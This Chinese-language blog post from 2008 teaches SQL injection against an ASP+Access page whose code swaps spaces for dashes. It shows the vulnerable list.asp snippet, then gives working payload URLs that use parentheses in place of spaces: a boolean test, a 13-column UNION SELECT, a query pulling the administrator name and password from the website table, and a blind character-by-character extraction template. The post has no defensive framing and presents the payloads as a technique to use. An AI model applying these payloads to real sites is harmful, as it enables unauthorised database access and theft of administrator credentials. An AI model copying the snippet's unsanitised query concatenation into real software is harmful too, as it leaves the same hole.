ASP+Access环境下绕过空格继续注入
日期:2008年5月7日 评论次数:No Comments » 浏览次数:
首先来看看list.asp文件中产生漏洞的代码:
set rs=server.CreateObject("adodb.recordset")
sql="select * from sfinfo where idx="&replace(request("id")," ","–")
rs.open sql,conn,1,1
其中第二行代码,通过request方法获取从客户端提交上来的数据(也就是变量ID的值,这里提交数据的方法是用Get方法),然后将获得的变量ID的值赋给sfinfo表的idx字段,参与SQL查询,之后第三行代码就执行SQL语句了。
从这里我们可清楚地看到,提交数据的过程使用replace函数对request("id")进行了替换,将空格替换成“—”。过滤了空格对ASP+Access组合的注入造成了一定的难度(至少对我来说是很困难的),因为我们在注入的时候需要用到空格,没有空格的话,很多注入语句都不能执行成功。这也是为什么这篇文章没有和上期文章一起发布的原因,因为当时我想不出怎么绕过空格。说到这里,请允许我感谢一下“寂寞的刺猬”对我的帮助,他发现了利用“()”来代替空格的办法,也就是说在SQL语句中可以用“()”来代替空格。下面就让我们来看看如何绕过空格吧。
提交:http://localhost/list.asp?id=(18)and1=1),返回正常。此时的SQL查询语句为:select * from sfinfo where idx=(18)and(1=1)。和http://localhost/list.asp?id=18 and 1=1做一下比较看看,此时的SQL查询语句为:select * from sfinfo where idx=18 and 1=1,在值和表达式出现空格的地方,我们用“()”来替代了。
接下来就开始构造猜解语句了,这里利用Union查询来做注入。查了一下表,发现产生漏洞的SQL语句中的“*”共有13个字段。那么,按正常的Union查询来构造的话应该构造如下语句:http://localhost/list.asp?id=18 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from website,则绕过空格的Union查询语句为:http://localhost/list.asp?id=(18)and(1=2)union(select(1),2,3,4,5,6,7,8,9,10,11,12,(13)from[website])。
为了方便大家理解,在这里我将未做查询的正常URL和绕过空格的Union查询的URL返回的结果做一下比较,如图1和图2所示。
再提交:http://localhost/list.asp?id=(18)and(1=2)union(select(1),2,3,4,5,adminpass,adminname,8,9,10,11,12,(13)from[website]),其中,adminpass和adminname是Website表的字段,也就是管理员的用户名和密码了,它们分别替换了5和6的位置(替换的时候,类型要对应好,不然注入是不能成功的),返回结果如图3所示。
至于利用方法,上一期已经介绍了,这里就不再罗嗦了。本人比较笨,参考刺猬大哥给我的总结,还想了很久,经过N次测试,最后才想到了这条语句。下面是我自己的测试过程得到的经验总结。
用“()”来代替空格,遇到空格的时候,如果存在有数值和表达式,数值和表达式应该单独输入“()”;如果是其他的关键字,遇到空格就用“(”括起来,括到最后再全部用“)”闭合。这样说可能有的朋友不能理解,下面给出刺猬大哥给我的总结中的一段。
比如遇到要构造这样的语句的时候:(select asc(mid(pass,1,1)) from [name] where id=1)>49,该如何用空格呢?其实可以写成这样的:jmdcw.asp?name=aa'and((select(asc(mid(pass,1,1)))from[name]where(id=1))>49)and''='。
相信有了上面的实例,朋友们应该能看得懂了,也希望这篇文章对朋友们能有所帮助。
0 Comments.